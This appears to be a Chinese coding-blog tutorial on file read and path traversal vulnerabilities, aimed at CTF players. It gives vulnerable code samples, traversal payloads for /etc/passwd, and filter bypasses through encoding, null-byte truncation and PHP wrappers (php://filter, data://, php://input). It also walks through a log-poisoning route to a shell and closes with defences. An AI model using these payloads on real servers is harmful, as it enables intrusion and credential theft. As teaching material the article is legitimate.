多彩编程 多彩编程MZPH · CODE BLOG
ARTICLE DETAIL

文章详情

深耕前端与后端开发技术的一线实战笔记与踩坑复盘。

文件读取漏洞

文件读取漏洞 一、漏洞原理文件读取漏洞又称任意文件读取、目录遍历、路径穿越是指 Web 应用在读取文件时未对用户输入的文件路径做充分过滤导致攻击者可以通过构造特殊路径如../读取服务器上的任意文件。核心成因应用将用户可控的参数直接拼接到文件读取函数中没有过滤路径穿越字符或过滤不充分。典型脆弱代码示例$file $_GET[file]; include(/var/www/html/ . $file);访问?file../../../../etc/passwd即可读取系统密码文件。CTF 中的常见目标读取配置文件获取数据库密码、密钥等读取/flag文件读取网站源码进行代码审计发现其他漏洞读取系统敏感文件/etc/passwd、/etc/shadow读取日志文件配合日志注入 getshell二、常见文件读取函数与场景2.1 PHP 中常见的危险函数函数说明include()/require()包含并执行文件可 getshellinclude_once()/require_once()同上但只包含一次file_get_contents()读取文件内容并返回字符串file()读取文件内容返回数组fopen()/fread()打开并读取文件readfile()读取文件并直接输出highlight_file()/show_source()高亮显示源码parse_ini_file()读取配置文件2.2 Python 中常见的危险函数# 不当使用 open() 或文件读取 path request.args.get(file) with open(/var/www/html/ path, r) as f: return f.read()2.3 Java 中的危险场景String filename request.getParameter(file); File file new File(/var/www/html/ filename); // 直接读取文件流2.4 常见的漏洞点网站模板切换?templateindex语言文件加载?langzh文件下载功能?downloadreport.pdf日志查看功能?logaccess.log静态资源代理?url/static/js/app.js三、路径穿越Path Traversal基础3.1 基础知识../表示上一级目录在 Linux 中/etc/passwd是绝对路径Windows 使用\或../如..\..\windows\win.ini3.2 基本测试 Payload?file../../../../etc/passwd ?file/etc/passwd ?fileC:\Windows\win.ini3.3 判断路径深度不知道当前目录在服务器中的层级时可以逐级增加../直到成功读取目标文件?file../etc/passwd ?file../../etc/passwd ?file../../../etc/passwd ...通常加 5-8 层../即可到达根目录。四、常见过滤与绕过技巧CTF 重点4.1 过滤../1使用绝对路径如果只过滤了../但没限制绝对路径可以直接用?file/etc/passwd2多层嵌套绕过某些过滤只替换一次....// → 过滤掉 ../ 后变成 ../ ..././ → 过滤掉 ../ 后变成 ../3编码绕过URL 编码%2e%2e%2f代表../双重 URL 编码%252e%252e%252f服务器解码一次后变成%2e%2e%2f再解码变成../Unicode 编码..%c0%af、..%ef%bc%8f全角斜线4反斜杠替代某些系统尤其是 Windows..\..\windows\win.ini4.2 过滤了关键字如flag、etc、passwd等1通配符绕过如果系统支持?file/etc/pass* ?file/etc/pas?wd2路径拼接利用路径中的.和空字符?file/etc/./passwd ?file/etc//passwd3截断绕过旧版 PHPmagic_quotes_gpcOff使用%00截断后面的扩展名?file../../etc/passwd%00.jpg服务器拼接后为include(/var/www/html/../../etc/passwd\0.jpg)但 C 语言字符串遇到\0即终止所以实际包含/etc/passwd。4.3 强制添加了后缀如.php、.html应用自动给用户输入加上扩展名如include($_GET[file] . .php);绕过方法%00 截断旧版 PHP?file../etc/passwd%00路径长度截断旧版 PHP 5.2.x利用 PHP 对路径长度限制传入超长路径截断后缀。利用伪协议PHP?filephp://filter/convert.base64-encode/resource/flag可包含任意文件而不受后缀限制。利用 zip/phar 协议?filephar://uploads/shell.jpg/shell需要先上传包含 PHP 代码的 zip/phar 文件并绕过前面提到的大小写/后缀问题。包含日志文件或 session 文件如果知道 session 保存路径如/tmp/sess_xxx且内容可控如 User-Agent 可注入 PHP 代码则可以通过文件包含实现 getshell。4.4 过滤了斜杠/使用 URL 编码%2f使用 Unicode 编码%c0%af4.5 PHP 伪协议绕过如果只是文件读取file_get_contents可以利用 PHP 伪协议读取源码或文件1读取源码并 Base64 返回防止代码被执行?filephp://filter/convert.base64-encode/resourceindex.php解码即可得到源码。2直接读取文件内容?filephp://filter/resource/flag3利用 data 协议执行代码如果allow_url_includeOn?filedata://text/plain,?php system(cat /flag);?或者 base64 编码?filedata://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgL2ZsYWcnKTs/Pg4利用 input 协议如果allow_url_includeOn通过 POST 发送 PHP 代码?filephp://input POST: ?php system(cat /flag);?4.6 包含日志文件 getshell当无法直接读取 flag但存在文件包含漏洞且allow_url_includeOff时可以配合其他可控内容的文件来 getshell。常见可控文件位置Apache 访问日志/var/log/apache2/access.log、/var/log/httpd/access_logNginx 访问日志/var/log/nginx/access.logSSH 登录日志/var/log/auth.log需注意权限邮件日志/var/log/mail.logSession 文件/tmp/sess_PHPSESSIDPHP 默认 session 存储路径上传的临时文件利用步骤在请求的 User-Agent 或其它可控头中写入?php system(cat /flag);?访问日志中会记录该 User-Agent通过文件包含漏洞包含日志文件?file/var/log/apache2/access.log日志中的 PHP 代码被执行拿到 flag五、不同场景下的利用手法5.1 PHPinclude()系列 → 直接 get shellphp://inputPOST 提交 PHP 代码data://直接写入代码日志包含如上所述session 文件包含先注册 session在 session 文件中写入代码再包含临时文件包含利用条件竞争PHP 上传文件会先存为临时文件/tmp/phpXXXXXX可利用php://filter和条件竞争在临时文件被删除前包含它5.2 PHPfile_get_contents()→ 文件读取主要用于读取文件内容不能执行 PHP 代码。可以使用php://filter读取源码。5.3 Python 文件读取通常不存在类似 PHP 的伪协议主要是路径穿越。注意使用../逐级穿越Unicode 编码绕过/proc/self/environ读取环境变量/proc/self/cwd/flag读取当前工作目录下的 flag5.4 Java 文件读取Java 文件读取通常使用FileInputStream或 Spring 的Resource。绕过方法../穿越file:///etc/passwd协议Spring Boot 中可能存在/actuator泄露读取WEB-INF/web.xml、application.properties获取配置信息六、CTF 实战示例文件读取到 Flag题目描述一个网站提供“查看新闻”功能URL 为?pagenews1页面显示对应新闻内容。存在任意文件读取。步骤初步测试尝试?pagenews2确认参数可控。尝试?page../../../../etc/passwd页面返回系统用户信息确认存在路径穿越。判断是否 PHP尝试读取当前文件源码?pagephp://filter/convert.base64-encode/resourceindex若返回 base64 编码的index.php源码说明支持 PHP 伪协议且当前语言为 PHP。尝试直接读 Flag?page../../../../flag若成功返回 flag 内容题目结束。如果 flag 路径未知读取/proc/self/environ查看环境变量可能找到 flag 路径读取/etc/nginx/sites-enabled/default或 Apache 配置寻找网站根目录读取当前文件源码审计是否有隐藏逻辑或 flag 路径如果读取的是包含.php后缀的文件include($_GET[page] . .php)使用php://filter/convert.base64-encode/resource/flag绕过不需要后缀。或旧版 PHP 使用%00截断?page../../../../flag%00。如果无法直接读取 flag如文件权限限制考虑日志包含。在 User-Agent 中写入?php system(cat /flag);?访问任意页面触发记录。再通过?page../../../../var/log/apache2/access.log包含日志文件执行代码获取 flag。拿到 Flag使用php://filter读取/flag的 base64 内容解码得到flag{path_traversal_master}。七、常见防御措施白名单限制仅允许读取预定义的文件如用 switch 匹配文件名不接受路径参数。过滤穿越字符过滤../、..\但要考虑多种绕过方式。限制文件读取根目录如将用户输入拼接到固定路径后但单纯拼接不可靠仍可穿越。禁用伪协议allow_url_includeOffallow_url_fopenOff禁止php://input、data://等。使用open_basedir限制 PHP 可访问的目录范围。最小权限运行Web 服务以低权限用户运行限制可读取的文件范围。禁用危险函数disable_functions禁用system、exec等即使 getshell 也无法执行系统命令。做好日志权限隔离避免 Web 用户可读取系统日志。八、总结文件读取漏洞的核心是路径拼接未过滤导致攻击者可以穿越目录读取任意文件。CTF 中考察的重点是绕过过滤编码、截断、伪协议和组合利用日志包含 getshell。PHP 伪协议php://filter、php://input、data://是 PHP 环境下的杀手锏。日志包含和 session 包含是“间接 getshell”的经典手法必掌握。防御不能只靠黑名单过滤必须结合白名单、目录限制、权限控制等多层措施。
返回列表